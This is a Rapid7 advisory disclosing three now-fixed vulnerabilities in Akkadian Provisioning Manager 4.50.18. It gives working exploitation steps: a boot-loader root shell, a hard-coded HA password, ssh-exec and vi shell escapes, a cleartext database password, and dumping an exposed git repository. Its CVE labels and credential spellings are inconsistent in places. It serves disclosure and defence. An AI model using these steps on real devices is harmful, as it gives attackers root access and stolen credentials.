

Akkadian Provisioning Manager Multiple Vulnerabilities Disclosure (Fixed)

Jun 08, 2021 | 8 min read | [Tod Beardsley \(/blog/author/tod-beardsley/\)](#)

Last updated at Thu, 22 Jul 2021 16:15:00 GMT

Over the course of routine security research, Rapid7 researchers discovered that the Akkadian Provisioning Manager version 4.50.18, a provisioning solution for a Cisco Unified Communications environment, has a trio of vulnerabilities, which, when combined, can lead to remote code execution on the affected device with elevated privileges. Those issues are summarized in the table below.

CVE Identifier	CWE Identifier	CVSS score (Severity)	Remediation
CVE-2021-31579	CWE-798 https://cwe.mitre.org/data/definitions/798.html Use of Hard-Coded Credentials	8.2 https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/L/A:N&version=3.1 (High)	Updated in 5.1.0 https://doc.clickup.com/d/h/240j-27923/b7180168&8c8f855/240j-1673
CVE-2021-31580	CWE-78 https://cwe.mitre.org/data/definitions/78.html Improper Neutralization of Special Elements used in an OS Command (exec)	7.9 https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:H/UI:N/S:C/C:H/H/A:N&version=3.1 (High)	Updated in 5.1.0 https://doc.clickup.com/d/h/240j-27923/b7180168&8c8f855/240j-1673
CVE-2021-31581	CWE-269 https://cwe.mitre.org/data/definitions/269.html Improper Neutralization of Special Elements used in an OS Command (vi)	7.9 https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:H/UI:N/S:C/C:H/H/A:N&version=3.1 (High)	Updated in 5.1.0 https://doc.clickup.com/d/h/240j-27923/b7180168&8c8f855/240j-1673

In addition to these issues, two other questionable findings were discovered: the ability to read the cleartext local MariaDB credentials, and the inadvertent shipping of an entire GitHub repo with commit history. At the time of this writing, it's unclear if these findings present unique security issues, but nonetheless, should be reviewed by the vendor.

Product Description

Akkadian Provisioning Manager (PME) is a management platform for Cisco Unified Communications (UC) devices and applications, which are largely VoIP and video solutions for communications. PME is usually seen in larger enterprises where provisioning and reconfiguring these solutions is a fairly common occurrence. More can be learned about Akkadian PME from the vendor's website

<https://www.akkadianlabs.com/products/akkadian-provisioning-manager/>



Topics

[Metasploit \(799\)](#)
[\(/blog/tag/metasploit/\)](#)

[Vulnerability Management \(418\)](#)
[\(/blog/tag/vulnerability-management/\)](#)

[Detection and Response \(388\)](#)
[\(/blog/tag/detection-and-response/\)](#)

[Research \(277\)](#) [\(/blog/tag/research/\)](#)

[Application Security \(156\)](#)
[\(/blog/tag/application-security/\)](#)

[Cloud Security \(110\)](#) [\(/blog/tag/cloud-security/\)](#)

Popular Tags

[Metasploit \(/blog/tag/metasploit/\)](#)

[Logentries \(/blog/tag/logentries/\)](#)

[IT Ops \(/blog/tag/it-ops/\)](#)

[Vulnerability Management \(/blog/tag/vulnerability-management/\)](#)

[Detection and Response \(/blog/tag/detection-and-response/\)](#)

[Metasploit Weekly Wrapup \(/blog/tag/metasploit-weekly-wrapup/\)](#)

[Research \(/blog/tag/research/\)](#)

[Automation and Orchestration \(/blog/tag/automation-and-orchestration/\)](#)

[Nexpose \(/blog/tag/nexpose/\)](#)

[Incident Detection \(/blog/tag/incident-detection/\)](#)

[InsightIDR \(/blog/tag/insightidr/\)](#)

[Exploits \(/blog/tag/exploits/\)](#)

[Incident Response \(/blog/tag/incident-response/\)](#)

Credit

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. [Privacy Policy \(https://www.rapid7.com/privacy-policy/tracking-technologies/\)](#)

[Cookies Settings](#)

[Contact Us](#)

These issues were discovered by Cale Black, Ryan Villarreal (@XJCrazy09 (<https://twitter.com/XJCrazy09>)), and Jonathan Peterson (@deadjakk (<https://twitter.com/deadjakk>)) of Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy (<https://www.rapid7.com/disclosure/>).

Exploitation

The following were observed and tested on version 4.50.18 GA 2020-04-07 - Build 1.1.36 (Linux) of the Akkadian Provisioning Manager (PME).

CVE-2021-31579: Use of Hard-Coded Credentials

During a penetration test on a client site, Rapid7 researchers were able to gain access to a PME OVA virtualized appliance and was able to interrupt the boot process and force the init system to be an interactive shell, as can be seen below:

```
insmod xfs
set root='hd0,msdos1'
if [ x$feature_platform_search_hint = xy ] then
  search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hin\
t-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1 --hint='hd0,msdos1' 9c40e548-9\
4df-45d7-a99f-09f4ec476a71
else
  search --no-floppy --fs-uuid --set=root 9c40e548-94df-45d7-a99f-09f4\
ec476a71
fi
linux16 /vmlinuz-3.10.0-693.el7.x86_64 root=/dev/mapper/centos-root ro\
crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=\
en_US.UTF-8 init=/bin/sh
initrd16 /initramfs-3.10.0-693.el7.x86_64.img

Press Ctrl-x to start, Ctrl-c for a command prompt or Escape to
discard edits and return to the menu. Pressing Tab lists
possible completions.
```

This successfully presented Rapid7 researchers with a root shell environment:

```
[ 0.637361] sd 2:0:0:0: [sda] Assuming drive cache: write through
sh-4.2#
```

Once shell access was achieved testers identified the enabled `akkadianuser` in the user `/etc/passwd` database:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89:/var/spool/postfix:/sbin/nologin
chrony:x:998:996:/var/lib/chrony:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd d
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
hacluster:x:189:189:cluster user:/home/hacluster:/sbin/nologin
unbound:x:997:993:Unbound DNS resolver:/etc/unbound:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
akkadianuser:x:1000:1000:./home/akkadianuser:/bin/bash
ntp:x:38:38:./etc/ntp:/sbin/nologin
nagios:x:1001:992:./home/nagios:/bin/bash
```

Investigating the user home directory revealed a set of developer files on the production server:

[Komand \(/blog/tag/komand/\)](#)

[Penetration Testing \(/blog/tag/penetration-testing/\)](#)

Related Posts

	READ MORE
	(/BLOG/POST/2022/12/13/CVE-
	2022-27518-
	CRITICAL-FIX-
	RELEASED-
	FOR-
	EXPLOITED-
CVE-2022-27518: Critical	CITRIX-ADC-
Fix Released for Exploited	GATEWAY-
Citrix ADC, Gateway	VULNERABILITY/)
Vulnerability	
	READ MORE
	(/BLOG/POST/2022/12/13/PATCH-
	TUESDAY-
Patch Tuesday - December	DECEMBER-
2022	2022/)
	READ MORE
	(/BLOG/POST/2022/12/08/WEBINAR-
	2023-
	CYBERSECURITY-
2023 Cybersecurity Industry	INDUSTRY-
Predictions	PREDICTIONS/)
	READ MORE
	(/BLOG/POST/2022/12/07/CVE-
	2022-4261-
	RAPID7-
	NEXPOSE-
	UPDATE-
CVE-2022-4261: Rapid7	VALIDATION-
Nexpose Update Validation	ISSUE-FIXED/)
Issue (FIXED)	

```
# pwd
/home/akkadianuser
# ls -l
aam_pme_centos5_setup.txt
aam_pme_centos7_setup_mariadb.txt
aam_pme_centos7_setup.txt
aco-server.csr
akkadianAppManager.egg-info
akkadianAppManager.py
akkadianAppManager.py.bac
aliases.ini
build
change_openldap_base_dn.sh
dbstosync
dist
get_mongo_primary_node.js
get-pip.py
ha_preconditions.sh
ha_replication.service
info.3
mapper.ini
master
mongo_manager.py
my-master-cm.cnf
my-master-noha-1-cm.cnf
my-master-noha-1-pme.cnf
my-master-noha-2-cm.cnf
my-master-noha-2-pme.cnf
my-master-pm.cnf
my-original.cnf
my-slave-cm.cnf
my-slave-pm.cnf
README.md
release.sh
scripts
setup.py
tmp
#
```

Rapid7 researchers identified developer configuration scripts for configuring a high availability user, `/home/akkadianuser/scripts/create_haakkadianuser.sh` and `/home/akkadianuser/tmp/akkappmanager_installation/scripts/create_haakkadianuser.sh`. These scripts revealed that the high availability user was created with the default password `'haakkadianpassword'` as can be seen below:

```
#!/usr/bin/env bash
# Backup user

if id "haakkadianuser" >/dev/null 2>&1; then
    echo "user already exists, nothing to do"
else
    echo $'\n' "Creating ha akkadian user..."
    sudo adduser haakkadianuser
    echo "haakkadianpassword" | passwd --stdin haakkadianuser
    sudo usermod -a -G haclient haakkadianuser

    sudo echo $'\n' "# HA Akkadian user configuration" >> /etc/sudoers
    sudo echo "haakkadianuser ALL=(ALL) ALL" >> /etc/sudoers
    sudo echo "%haakkadianuser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

    sudo pcs property set enable-acl=true --force

    sudo pcs acl role create write-access description="Full access" write x
    sudo pcs acl role create read-only description="Read access to cluster"
    sudo pcs acl user create haakkadianuser write-access
    sudo pcs acl user create haakkadianuser read-only
fi
~
```

Using the knowledge of the created high availability user password, Rapid7 researchers were able to successfully guess the credential of the existing `'haakkadianuser'` user, which was `'haakkadianpassword'`. Rapid7 was able to verify this credential would give access to the Akkadian PME restricted shell:

```
~/share/pwn/akkadian $ ssh akkadianuser@192.168.23.154
akkadianuser@192.168.23.154's password:
Last login: Thu Jan 23 12:31:19 2020 from 192.168.200.250
#####
#                                     #
# Welcome to Akkadian Appliance Manager - 2.1.6-3576e0a #
#                                     #
#####
Main Menu:
 1: Configure Network
 2: Configure Time
 3: Update Akkadian Products
 4: Product Settings Menu
 5: Appliance Manager Settings
 6: High Availability
 7: Replication Support - Maintenance Mode
 r: Reboot Server
 s: Shutdown Server
 q: Quit Akkadian Appliance Manager
You can press 'CTRL+C' at any time to exit from an action
and return to the previous menu.

Use the following url to access the application
Secure URL, https://192.168.23.154
```

Rapid7 was then able to successfully bypass the restricted shell menu environment via the techniques described below, CVE-2021-31580 and CVE-2021-31580, and identified that the running ``akkadianuser`` user was given unrestricted sudo privileges without a password:

```
## Next comes the main part: which users can run what software on
## which machines (the sudoers file can be shared between multiple
## systems).
## Syntax:
##
##      user    MACHINE=COMMANDS
##
## The COMMANDS section may have other options added to it.
##
## Allow root to run any commands anywhere
root    ALL=(ALL)        ALL
akkadianuser    ALL=(ALL:ALL)    ALL

## Allows members of the 'sys' group to run networking, software,
## service management apps and more.
# %sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, P

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)        ALL

## Same thing without a password
# %wheel    ALL=(ALL)        NOPASSWD: ALL
akkadianuser    ALL=(ALL:ALL)    NOPASSWD: ALL

## Allows members of the users group to mount and unmount the
## cdrom as root
# %users    ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom

## Allows members of the users group to shutdown this system
# %users    localhost=/sbin/shutdown -h now

## Read drop-in files from /etc/sudoers.d (the # here does not mean
## includedir /etc/sudoers.d
##/etc/sudoers" [readonly] 122l. 4400C
```

This was confirmed by using the shell escapes with the sudo command, allowing Rapid7 researchers full access to the root user:

```
~/share/pwn/akkadian $ ssh akkadianuser@192.168.23.154 sudo id
akkadianuser@192.168.23.154's password:
#####
#
# Welcome to Akkadian Appliance Manager - 2.1.6-3576e0a #
#
#####
Main Menu:
1: Configure Network
2: Configure Time
3: Update Akkadian Products
4: Product Settings Menu
5: Appliance Manager Settings
6: High Availability
7: Replication Support - Maintenance Mode
r: Reboot Server
s: Shutdown Server
q: Quit Akkadian Appliance Manager
You can press 'CTRL+C' at any time to exit from an action
and return to the previous menu.

Use the following url to access the application
Secure URL, https://192.168.23.154

Select an option: Traceback (most recent call last):
  File "/bin/akkadianAppManager", line 9, in <module>
    load_entry_point('akkadianAppManager==1.0', 'console_scripts', 'akkadia
  File "/usr/lib/python2.7/site-packages/click-4.1-py2.7.egg/click/core.py"
    return self.main(*args, **kwargs)
  File "/usr/lib/python2.7/site-packages/click-4.1-py2.7.egg/click/core.py"
    rv = self.invoke(ctx)
  File "/usr/lib/python2.7/site-packages/click-4.1-py2.7.egg/click/core.py"
    return _process_result(sub_ctx.command.invoke(sub_ctx))
  File "/usr/lib/python2.7/site-packages/click-4.1-py2.7.egg/click/core.py"
    return ctx.invoke(self.callback, **ctx.params)
  File "/usr/lib/python2.7/site-packages/click-4.1-py2.7.egg/click/core.py"
    return callback(*args, **kwargs)
  File "/usr/lib/python2.7/site-packages/akkadianAppManager-1.0-py2.7.egg/a
    replication_type)
  File "/usr/lib/python2.7/site-packages/akkadianAppManager-1.0-py2.7.egg/a
    char = show_select_option(char)
  File "/usr/lib/python2.7/site-packages/akkadianAppManager-1.0-py2.7.egg/a
    char = click.getchar()
  File "/usr/lib/python2.7/site-packages/click-4.1-py2.7.egg/click/termui.p
    return f(echo)
  File "/usr/lib/python2.7/site-packages/click-4.1-py2.7.egg/click/_termui
    f = open('/dev/tty')
IOError: [Errno 6] No such device or address: '/dev/tty'
uid=0(root) gid=0(root) groups=0(root)
```

CVE-2021-31580: Shell Escape via 'exec' command

Rapid7 researchers identified that the restricted shell in use by the Akkadian Appliance Manager component of the PME was not directly set to the restricted shell binary, and instead was set to bash, and could be bypassed by the procedure outlined below. First, the default bash shell was observed:

The restricted shell environment is triggered via the `/home/akkadianuser/.bashrc` configuration file which invokes the ``akkadianAppManager`` shell via sudo:

Knowing that the shell was bash and that the python restricted shell environment was interactive, Rapid7 researchers switched the OpenSSH channel from `'shell'` to `'exec'` by providing the ssh client a single execution parameter. This triggered the interactive Python script to unsuccessfully find the `'/dev/tty'` file and exit, but as the shell is running in the context of a bash shell, the failed exit condition does not fail the parent shell and the command is passed on through to the operating system allowing a bypass, as shown below.

Combining this issue with the default hard-coded root user, **hakkadianuser:hakkadianpassword**, will allow an otherwise unauthenticated, network-based attacker with unrestricted access to an interactive shell with root privileges.

Rapid7 researchers identified that the restricted shell environment of the Akkadian Appliance Manager component of the PME could be bypassed using the shipped version of `vi`, a popular terminal-based text editor. When authenticated, normally, the following prompt is shown:


```
#####
#
# Welcome to Akkadian Appliance Manager - 2.1.6-3576e0a #
#
#####
Main Menu:
1: Configure Network
2: Configure Time
3: Update Akkadian Products
4: Product Settings Menu
5: Appliance Manager Settings
6: High Availability
7: Replication Support - Maintenance Mode
r: Reboot Server
s: Shutdown Server
q: Quit Akkadian Appliance Manager
You can press 'CTRL+C' at any time to exit from an action
and return to the previous menu.

Use the following url to access the application
Secure URL, https://192.168.23.154

Select an option: █
```

Select 4: Product Settings Menu and the next set of options gets prompted:

```
Products Settings
1: Akkadian PM/HCS Services
2: Akkadian Console Operator Services
3: Akkadian Contact Manager Services
b: Back to Main Menu
You can press 'CTRL+C' at any time to exit from an action
and return to the previous menu.

Select an option: █
```

Select 1: Akkadian PM/HCS Services and the next set of options appears:

```
APM Product Settings
0: Current Web Server Status
1: Apache Service
2: MySQL Service
3: OpenLDAP Settings
b: Back to Main Menu
You can press 'CTRL+C' at any time to exit from an action
and return to the previous menu.

Select an option: █
```

Select 2: MySQL Service option and follow to the next screen:

```
MySQL Service Settings
1: Stop MySQL Service
2: Restart MySQL Service
3: Start MySQL Service
4: Edit MySQL Configuration (my.cnf)
b: Back to Main Menu
You can press 'CTRL+C' at any time to exit from an action
and return to the previous menu.

NOTE: The editor used by the application is the OS default
loaded text editor 'vim'.

Select an option: █
```

Select 4: Edit MySQL Configuration (my.cnf), which finally drops the user into a vi editor interface for `/etc/my.cnf`:

```
##
## This group is read both both by the client and the server
## use it for options that affect everything
##
[mysqld]
event_scheduler = ON
max_allowed_packet=500M

datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock

#Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0

user=mysql

#Recommended in standard MySQL setup
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES

[mysqld_safe]
log_error=/var/log/mysql.log
pid_file=/var/run/mysqld/mysqld.pid

[client-server]

##
"/etc/my.cnf" 30L, 600C
```

This can be bypassed by using the execution functionality in the shipped version of `vi` on the PME by hitting `:`!` and then the desired command. The following screenshot shows that the restricted shell is running as the root user (due to the sudo invocation of the shell as mentioned in CVE-2021-31580):

```

#
## This group is read both both by the client and the server
## use it for options that affect everything
##
[mysqld]
event_scheduler = ON
max_allowed_packet=500M

datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock

#Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0

user=mysql

#Recommended in standard MySQL setup
sql_mode=NO_ENGINE_SUBSTITUTION #,STRICT_TRANS_TABLES

[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

[client-server]

##
:~id[]

```

```

uid=0(root) gid=0(root) groups=0(root)

Press ENTER or type command to continue[]

```

Combining this issue with the default hard-coded root user,

hakkadianuser:hakkadianpassword, will allow an otherwise unauthenticated, network-based attacker with unrestricted access to an interactive shell with root privileges.

CVE-2021-31581: Exposure of Sensitive Information

Rapid7 researchers also identified that the application was serving sensitive data via the exposed web server. Listing the `/var/www/html/pme/` directory Rapid7 identified the ionCube packed PHP files, but an additional set of files that were marked with readable permissions:

```

$ ls -la /var/www/html/pme/
total 2104
drwxrwsr-x 17 apache root    4096 Jan 27 23:00 .
drwxr-xr-x  5 root  root     512 Oct 15 2019 ..
drwxrwsr-x 12 apache root    165 Jan 15 2020 application
drwxr-sr-x  2 apache root   16384 Jan 27 23:00 archives
-rwxrwxr-x  1 apache root    319 Apr  8 2020 auth.json
drwxrwsr-x  2 apache root    26 Jan 15 2020 autoload_classes
drwxr-sr-x  2 apache root    69 Jan 28 16:00 backups
-rwxrwxr-x  1 apache root   7078 Jan 15 2020 build.xml
-rwxrwxr-x  1 apache root   1441 Apr  8 2020 composer.json
-rwxrwxr-x  1 apache root  153913 Apr  8 2020 composer.lock
-rwxrwxr-x  1 apache root  1854600 Jan 15 2020 composer.phar
drwxrwsr-x  6 apache root    71 Jan  3 2019 database
drwxrwsr-x  8 apache root    181 Jan 15 2020 .git
-rwxrwxr-x  1 apache root   1006 Apr  8 2020 .htaccess
-rwxrwxr-x  1 apache root   5574 Apr  8 2020 index.php
-rwxrwxr-x  1 apache root    268 Jan 15 2020 license_error.php
drwxrwsr-x 11 apache root   145 Jan 28 16:00 media
drwxrwsr-x 37 apache root   4096 Apr 22 2019 migrations.php
-rwxrwxr-x  1 apache root    149 Jan 15 2020 phinx.yml
drwxrwsr-x  2 apache root    24 Jan 15 2020 phonecontrol_image_upload
-rwxrwxr-x  1 apache root   3344 Jan 15 2020 phpunit_bootstrap.php
-rwxrwxr-x  1 apache root    418 Jan 15 2020 phpunit.xml.dist
-rwxrwxr-x  1 apache root    565 Jan 15 2020 README.md
drwxr-sr-x  2 apache root   8192 Jan 27 23:00 report_archives
-rwxrwxr-x  1 apache root   1553 Jan 15 2020 service.php
drwxrwsr-x  2 apache root    183 Jan 15 2020 sql_script
drwxrwsr-x 11 apache root    165 Jan 15 2020 system
drwxrwsr-x  2 apache root    100 Jan 15 2020 tests
drwxrwsr-x  2 apache root    24 Jan 15 2020 updates
-rwxrwxr-x  1 apache root  41168 Apr  8 2020 upload_license.php
drwxrwsr-x 20 apache root    316 Jan 15 2020 vendor

```

Many of these files contained sensitive data that was accessible via the web server.

Of note the `/pme/database/pme/phinx.yml` file contained cleartext local MariaDB usernames and passwords:

```

paths:
  migrations:
    - /var/www/html/pme/database/pme/migrations
    - /var/www/html/pme/vendor/akkadian/high-availability/database/migrations

environments:
  default_migration_table: phinxlog
  default_database: pme
  pme:
    adapter: mysql
    host: localhost
    name: pme
    user: root
    pass: 'E7R9(7q-5kcBJEK'
    port: 3306
    charset: utf8

version_order: creation
:~B

```

Rapid7 researchers were able to use local shell access in order to successfully validate that these credentials were valid and worked to connect to the underlying MariaDB host listening locally. The scope of the original client's penetration test additionally included an LDAP integrated environment, and this issue was leveraged to successfully recover cleartext LDAP BIND credentials from the database:

```
[root@www]# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 260888
Server version: 10.2.26-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SHOW DATABASES;
+-----+
| Database |
+-----+
| ash      |
| call_manager |
| information_schema |
| maestro  |
| mysql    |
| performance_schema |
| pme      |
| ucce     |
| unity_connection |
+-----+
9 rows in set (0.00 sec)

MariaDB [(none)]> USE pme;
Reading table information for completion of table and column names
You can turn off this feature with -A

Database changed
MariaDB [pme]> SELECT * FROM ldapconfig;
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| id | tenant_id | name | auth_driver | auth_base | auth_server | auth_ad_password | auth_ad_username | auth_ad_bind | createdate |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 100 | 1 | Default | ldap | dc=company,dc=com | ldap://127.0.0.1 | 389 |  |  |  |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 101 | 1 | cn=service account,ou=Users,ou=IT,dc=company,dc=com | ldap | ldap |  |  |  |  |  |  |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
2 rows in set (0.00 sec)

MariaDB [pme]>
```

Additional Finding: Shipping Git Repository (No CVE ID)

The web server additionally exposed a git repository ``.git/`` directory. This was verified by visiting ``.pme/.git/config`` which exposed information about the ionCube packed Akkadian PME repository:

```
← → https://pme/.git/config

[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
[remote "origin"]
  url = git@bitbucket.org:akkadianproducts/pmeencoded.git
  fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
  remote = origin
  merge = refs/heads/master
```

Due to the predictable structure of git repositories, Rapid7 was able to extract the repos directly from the exposed network facing web server:

```
root@kali:~/gittools/Downloader# ./gitdumper.sh https://pme/.git/ pme
#####
# GitDumper is part of https://github.com/internetwache/GitTools
# Developed and maintained by @gehexelf from @internetwache
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
#####

[*] Destination folder does not exist
+ Creating pme/.git/
+ Downloaded: HEAD
+ Downloaded: objects/info/packs
+ Downloaded: description
+ Downloaded: config
+ Downloaded: COMMIT_EDITMSG
+ Downloaded: index
+ Downloaded: packed-refs
+ Downloaded: refs/heads/master
+ Downloaded: refs/remotes/origin/HEAD
+ Downloaded: refs/stash
+ Downloaded: logs/HEAD
+ Downloaded: logs/refs/heads/master
+ Downloaded: logs/refs/remotes/origin/HEAD
+ Downloaded: info/refs
+ Downloaded: info/exclude
+ Downloaded: /refs/wip/index/refs/heads/master
+ Downloaded: /refs/wip/wtree/refs/heads/master
+ Downloaded: objects/c2/94e4ef800c1236c41808d1c2950b1024179d5
+ Downloaded: objects/f7/c45d101850b76b8ed05776ad7ec522a8141b0bc
+ Downloaded: objects/55/a5f529dc30da27370f2fc1c12anc20ew75e470
+ Downloaded: objects/47/81205e44e4160a30f470b0c0f170e7f9e47
+ Downloaded: objects/65/1738f45516da1a1208cc93508cc8c7c1c18aaf
+ Downloaded: objects/cb/13c7fc57efbaa0eb79084f8036cfa043ca31b
+ Downloaded: objects/f5/10497710f7ee05029d6c08083099a05745
+ Downloaded: objects/c4/f06ee0e03c2104c0d120a7190a08e200047
+ Downloaded: objects/53/ee08d422ee0ed21070c7e8aaf8a06f26490ba
+ Downloaded: objects/40/c0f081c3ee1d0f71e3630b4e13190b0d9014
+ Downloaded: objects/8c/843a0c700e0e7a007a0171e1f84e430a0
+ Downloaded: objects/f5/4ac705305a34334c02efca0279405e47a0000
+ Downloaded: objects/0b/740fc4547faf400e13aan070711c88784cbcc
+ Downloaded: objects/a1/ee04f3227a0a0830b001nd081f2089277abe
+ Downloaded: objects/00/0030c010c1f3f0a0a007705c32c0f7044c00
```

Rapid7 then extracted each of the commits and was able to view additional files and the ionCube encoded backend PHP files, both historical and current:

While this git structure does seem to include sensitive information, Rapid7 researchers did not validate if that information was useful to an attacker. In any event, it should be removed from production installations of Akkadian devices.

As mentioned previously, combining CVE-2021-31579 and either CVE-2021-31580 or CVE-2021-31581 will allow an otherwise unauthorized attacker complete, root-level shell access to the affected devices; this can open a door to installing cryptominers, keystroke loggers, persistent shells, and any other type of Linux-based malware.

Remediation

Rapid7 researchers have attempted to communicate with Akkadian Labs, but were unable to elicit a response to this vulnerability disclosure. Customers should seek out their sales representatives to inquire about a fix timeline, after ensuring only authorized users have access to affected devices' SSH ports.

Disclosure Timeline

Wed, Feb 3, 2021: Initial disclosure attempt to the vendor, ticket 51058 created.

Mon, Feb 22, 2021: Followup to the vendor via support ticket

Wed, Mar 10, 2021: Second followup to the vendor via support ticket

Tue, Jun 8, 2021: Public Disclosure

Wed, Jun 11, 2021: Vendor provided information about fixes

Update: On June 11, 2021, the vendor reached out to Rapid7 and provided information regarding fixed versions of the components tested. On June 16th, it was determined that the issues described here are resolved in the following components and versions: Akkadian OVA appliance version 3.0 (and later), Akkadian Provisioning Manager 5.0.2 (and later), and Akkadian Appliance Manager 3.3.0.314-4a349e0 (and later).

[Vulnerability Disclosure](#)
([/blog/tag/vulnerability-disclosure/](#))

[Vulnerability Management](#)
([/blog/tag/vulnerability-management/](#))

[Research](#) ([/blog/tag/research/](#))

Director of Research at Rapid7,
contributing author of several Rapid7
research papers, CVE Board member, and
Metasploit collaborator.
<https://keybase.io/todb>

[VIEW TOD'S POSTS](#)

SHARING IS CARING

Related Posts

EMERGENT THREAT RESPON...

[CVE-2022-27518: Critical Fix
Released for Exploited Citrix ADC,
Gateway Vulnerability](#)

VULNERABILITY MANAGEM...

[Patch Tuesday - December 2022](#)

XDR

[2023 Cybersecurity Industry
Predictions](#)

VULNERABILITY DISCLOSURE

[CVE-2022-4261: Rapid7 Nexpose
Update Validation Issue \(FIXED\)](#)

[VIEW ALL POSTS](#)

Search all the things

[BACK TO TOP](#)

CUSTOMER SUPPORT

[+1-866-390-8113 \(Toll Free\)](#) ([tel:1-866-390-8113](#))

SALES SUPPORT

[+1-866-772-7437 \(Toll Free\)](#) ([tel:866-772-7437](#))

Need to report an Escalation or a Breach?

[CLICK HERE](#) ([/services/incident-response-customer-escalation/](#))

SOLUTIONS

[All Solutions](#) (<https://www.rapid7.com/solutions>)

[Industry Solutions](#) (<https://www.rapid7.com/solutions/industry>)

[Compliance Solutions](#) (<https://www.rapid7.com/solutions/compliance/>)

SUPPORT & RESOURCES

[Product Support](#) (<https://www.rapid7.com/for-customers>)

[Resource Library](#) (<https://www.rapid7.com/resources>)

[Our Customers](#) ([/customers/](#))

[Events & Webcasts](#) (<https://www.rapid7.com/about/events-webcasts>)

[Training & Certification](#) (<https://www.rapid7.com/services/training-certification>)

[IT & Security Fundamentals](#) (<https://www.rapid7.com/fundamentals>)

[Vulnerability & Exploit Database](#) (<https://www.rapid7.com/db>)

ABOUT US

[Company](#) (<https://www.rapid7.com/about/company>)

[Diversity, Equity, and Inclusion](#) (<https://www.rapid7.com/about/diversity-equity-and-inclusion/>)

[Leadership](#) (<https://www.rapid7.com/about/leadership>)

[News & Press Releases](#) (<https://www.rapid7.com/about/news>)

[Public Policy](#) (<https://www.rapid7.com/about/public-policy>)

[Open Source](#) (<https://www.rapid7.com/open-source/>)

We use cookies on our site to enhance navigation, analyze site usage, and assist in our marketing efforts. [Privacy Policy](#) (<https://www.rapid7.com/privacy-policy/tracking-technologies/>)

[Contact Us](#)

CONNECT WITH US

[Contact](https://www.rapid7.com/contact) (<https://www.rapid7.com/contact>)

[Blog](https://blog.rapid7.com/) (<https://blog.rapid7.com/>)

[Support Login](https://support.rapid7.com/) (<https://support.rapid7.com/>)

[Careers](https://www.rapid7.com/careers) (<https://www.rapid7.com/careers>)

<https://www.linkedin.com/company/rapid7/>



<https://www.rapid7.com/about/rapid7-cybersecurity-partner-boston-bruins/>



© Rapid7 | [Legal Terms \(/legal/\)](/legal/) | [Privacy Policy \(/privacy-policy/\)](/privacy-policy/) | [Export Notice \(/export-notice/\)](/export-notice/) | [Trust \(/trust/\)](/trust/)